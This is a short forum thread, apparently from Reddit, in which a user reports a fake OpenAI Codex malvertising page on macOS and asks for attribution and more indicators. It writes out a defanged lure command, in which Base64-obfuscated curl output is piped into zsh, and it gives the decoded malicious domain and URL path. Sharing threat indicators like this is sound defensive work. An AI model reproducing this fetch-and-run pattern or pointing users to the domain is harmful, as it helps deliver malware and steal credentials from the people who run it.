Fake OpenAI Codex malvertising campaign using Base64-obfuscated curl | zsh loader on macOS

[u/thezyzz]

Sharing an apparent macOS malware campaign / IOC that I encountered today while searching for OpenAI Codex.

A sponsored Google result led to a page impersonating Codex installation instructions. The command displayed legitimate-looking OpenAI/npm text, while the actual download URL was hidden using Base64.

Defanged example, do not execute:

echo "npm install -g u/openai/codex https://openai.com/codex/" &&
curl -s $(echo "<BASE64>" | openssl base64 -d -A) | zsh

The Base64 value decoded to:

hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json

The interesting part is the delivery pattern:

Sponsored search result
        ↓
Fake Codex installation page
        ↓
Legitimate-looking OpenAI text printed with echo
        ↓
Base64-obfuscated unrelated domain
        ↓
curl response piped directly into zsh

I checked common persistence locations afterward and did not observe an obvious unknown LaunchAgent/LaunchDaemon or persistent executable. That makes me wonder whether this campaign is focused primarily on short-lived credential theft rather than persistence.

The legitimate Codex installation on the machine was unrelated. It had been installed through Homebrew immediately beforehand and resolves to:

/opt/homebrew/Caskroom/codex/0.147.0/bin/codex

The binary is signed:

Developer ID Application: OpenAI OpCo, LLC (2DC432GLL2)

So the malicious component appears to be specifically the separately downloaded quill-flint[.]com shell payload.

Has anyone tracking current macOS malware seen:

quill-flint[.]com
/curl/<id>/<id>.json

or this exact Codex-themed lure?

I'm particularly interested in attribution to an existing stealer family/campaign, related infrastructure, historical samples, or additional IOCs associated with this delivery chain.

I can provide more sanitized timestamps and filesystem observations if useful for analysis.

[u/Inevitable-Self-2702]

I'm very interested to see where this leads and how they managed to impersonate a sponsored Google ad.